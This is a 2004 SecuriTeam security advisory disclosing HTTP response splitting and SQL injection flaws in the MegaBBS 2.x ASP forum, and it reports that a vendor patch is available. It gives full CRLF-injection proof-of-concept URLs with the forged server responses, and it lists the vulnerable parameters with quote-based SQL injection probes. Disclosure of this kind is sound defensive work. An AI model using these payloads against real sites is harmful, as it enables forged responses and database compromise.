[NT] HTTP Response Splitting and SQL Injection in Megabbs Forum

From: SecuriTeam (support_at_securiteam.com)
Date: 10/01/04

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Date: 1 Oct 2004 09:55:08 +0200

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      HTTP Response Splitting and SQL Injection in Megabbs Forum
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.pd9soft.com/megabbs-support/index.asp> MegaBBS is "a
    complete, fully featured ASP website system. Includes an extremely
    powerful forum, calendars, polls, and photo albums. Best of all, it's
    completely free! Find out why MegaBBS is one of the fastest growing ASP
    messaging portals available today."
    Multiple vulnerabilities in MegaBBS allow a malicious attacker to control
    HTTP header response from the server running the application and run
    arbitrary SQL commands on the target machine's database.

    DETAILS

    Vulnerable Systems:
     * MegaBBS Version 2.x

    HTTP Response Splitting:
    MegaBBS does not properly filter user input characters while redirecting
    to a different page. This allows a malicious attacker to control the HTTP
    response from the server.

    Example1 (URL wraps):
    http://www.example.com/megabbs/forums/thread-post.asp?action=writenew&fid=%0
    d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20
    text/html%0d%0aContent-Length:%2033%0d%0a%0d%0a%3chtml%3eScanned%20by%20Maxp
    atrol%3c/html%3e%0d%0a&tid=4924&replyto=22947&displaytype=flat

    Server result:

    HTTP/1.1 302 Object moved
    Connection: close
    Date: Sun, 26 Sep 2004 14:14:02 GMT
    Server: Microsoft-IIS/6.0
    Location: /megabbs/forums/forum-view.asp?fid=
    Content-Length: 0

    HTTP/1.0 200 OK
    Content-Type: text/html
    Content-Length: 33

    Scanned by Maxpatrol

    Content-Length: 290
    Content-Type: text/html
    Expires: Sun, 26 Sep 2004 14:13:02 GMT
    Set-Cookie: guestID=309; path=/
    Set-Cookie: ASPSESSIONIDAQRTADCB=KNEIJIEDEMJPNNKPNFONOIFL; path=/
    Cache-contro

    Example2 (URL wraps):
    http://www.example.com/megabbs/forums/thread-post.asp?fid=%0d%0aContent-Leng
    th:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aC
    ontent-Length:%2033%0d%0a%0d%0a%3chtml%3eScanned%20by%20Maxpatrol%3c/html%3e
    %0d%0a&action=writenew&displaytype=flat

    Result:

    HTTP/1.1 302 Object moved
    Connection: close
    Date: Sun, 26 Sep 2004 14:34:05 GMT
    Server: Microsoft-IIS/6.0
    Location: /megabbs/forums/forum-view.asp?fid=
    Content-Length: 0

    HTTP/1.0 200 OK
    Content-Type: text/html
    Content-Length: 33

    Scanned by Maxpatrol

    Content-Length: 290
    Content-Type: text/html
    Expires: Sun, 26 Sep 2004 14:33:05 GMT
    Set-Cookie: guestID=421; path=/
    Set-Cookie: ASPSESSIONIDAQRTADCB=HCGIJIEDMBPIHPCDJFKACJAC; path=/
    Cache-contro

    Multiple SQL injection:
    In ladder-log.asp page:
    ladder-log.asp?categoryid=1&sortby=completeddate&sortdir=1'
    ladder-log.asp?categoryid=1&filter=id&criteria=1'
    in view-profile.asp page:
    view-profile.asp?type=single&memberid=1'
    view-profile.asp?type=team&teamid=1'

    Vendor Status:
    A patch addressing these issues has been released and can be obtained at:
    <http://www.pd9soft.com/megabbs/forums/thread-view.asp?tid=4924>
    http://www.pd9soft.com/megabbs/forums/thread-view.asp?tid=4924

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:pigrelax@yandex.ru>
    pigrelax.

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